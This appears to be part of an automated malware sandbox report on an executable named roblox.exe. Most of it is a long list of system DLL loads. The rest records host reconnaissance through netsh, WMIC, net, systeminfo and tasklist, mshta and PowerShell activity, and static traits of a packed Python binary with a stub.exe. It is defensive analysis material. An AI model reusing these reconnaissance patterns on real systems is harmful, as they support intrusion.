Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: napinsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: wshbth.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: nlaapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: winrnr.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\query.exe	Section loaded: regapi.dll
Source: C:\Windows\System32\quser.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\quser.exe	Section loaded: utildll.dll
Source: C:\Windows\System32\quser.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\quser.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: snmpapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: inetmib1.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: snmpapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: inetmib1.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll

Source: C:\Users\user\Desktop\roblox.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Automated click: OK
Source: C:\Windows\System32\tasklist.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: roblox.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: roblox.exe

Static file information: File size 11169792 > 1048576

Source: roblox.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xa85a00

Source: roblox.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb$$ source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: cryptography_rust.pdbc source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579902667.00007FF8A81A5000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_uuid.pdb source: stub.exe, 00000003.00000002.2584414150.00007FF8B8AF2000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: roblox.exe, 00000000.00000003.2221867943.000001B2ADCB3000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python3.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2586250890.00007FF8B93D0000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581607529.00007FF8A8E13000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: roblox.exe, 00000000.00000003.2221867943.000001B2ADCB3000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
